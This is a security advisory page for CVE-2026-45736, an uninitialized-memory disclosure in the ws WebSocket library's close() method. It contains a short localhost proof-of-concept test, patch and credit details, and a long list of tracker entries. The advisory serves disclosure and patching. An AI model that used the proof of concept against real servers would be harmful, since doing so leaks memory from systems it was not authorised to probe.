CVE-2026-45736

ADVISORY - github

Summary

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

Patches

The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

EPSS Score⁠: 0.00717 (0.494)

Common Weakness Enumeration (CWE)

ADVISORY - nist

CWE-908⁠

Use of Uninitialized Resource

ADVISORY - github

CWE-908⁠

Use of Uninitialized Resource

Impacted images

Advisories

NIST

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY IDCVE-2026-45736⁠

EXPLOITABILITY SCORE

0.7

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)

CWE-908⁠

CVSS SCORE

4.4medium

GitHub

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY IDGHSA-58qx-3vcg-4xpx⁠

EXPLOITABILITY SCORE

0.7

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)

CWE-908⁠

CVSS SCORE

4.4medium

Debian

CREATED

2 months ago

UPDATED

1 month ago

ADVISORY IDCVE-2026-45736⁠

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

Ubuntu

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY IDCVE-2026-45736⁠

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

CVSS SCORE

7.5medium

Chainguard

CREATED

2 days ago

UPDATED

2 days ago

ADVISORY ID

CGA-342g-4fmm-4xmf

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-2f9f-x5g4-mfv2

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

1 month ago

UPDATED

1 month ago

ADVISORY ID

MINI-2j72-jrgh-qhqr

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

9 days ago

UPDATED

9 days ago

ADVISORY ID

MINI-44j8-x7w5-x827

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

4 days ago

UPDATED

4 days ago

ADVISORY ID

MINI-5226-xr6v-9c4j

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-55pp-xp9m-c89r

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-58gv-jxqg-749w

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

9 days ago

UPDATED

9 days ago

ADVISORY ID

MINI-5j26-j4g3-h72j

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-6882-8v6h-prp4

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-7vcp-376h-3889

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-8957-7vjf-5h2c

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-9544-4382-gpcf

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

24 days ago

UPDATED

24 days ago

ADVISORY ID

MINI-c2f9-jcxv-58gr

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

9 days ago

UPDATED

9 days ago

ADVISORY ID

MINI-fgc8-rm3f-r8jm

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

19 days ago

UPDATED

19 days ago

ADVISORY ID

MINI-fh47-jrrr-57m4

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

1 month ago

UPDATED

1 month ago

ADVISORY ID

MINI-g94q-x7p9-6mwh

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

24 days ago

UPDATED

24 days ago

ADVISORY ID

MINI-gwm7-qj9p-r3v6

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

24 days ago

UPDATED

24 days ago

ADVISORY ID

MINI-hpgq-53hq-5hfx

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-jmw8-7qgg-xqw5

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-m3jf-9xfh-c35v

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-m4rq-q67j-j47r

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

9 days ago

UPDATED

9 days ago

ADVISORY ID

MINI-mppw-vrmc-3qhp

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

1 month ago

UPDATED

1 month ago

ADVISORY ID

MINI-mrwr-r24p-pfj3

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

1 month ago

UPDATED

1 month ago

ADVISORY ID

MINI-mx28-3424-f2qf

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

1 month ago

UPDATED

1 month ago

ADVISORY ID

MINI-r5cc-46vf-626j

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

2 months ago

UPDATED

2 months ago

ADVISORY ID

MINI-v5jr-h4qc-mfjc

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

1 month ago

UPDATED

1 month ago

ADVISORY ID

MINI-whf9-pqm7-mjvx

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

1 month ago

UPDATED

1 month ago

ADVISORY ID

MINI-x4jf-3v3g-m69g

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY

minimos

CREATED

1 month ago

UPDATED

1 month ago

ADVISORY ID

MINI-xq59-hvg4-pxp5

EXPLOITABILITY SCORE

EXPLOITS FOUND

COMMON WEAKNESS ENUMERATION (CWE)-

RATING UNAVAILABLE FROM ADVISORY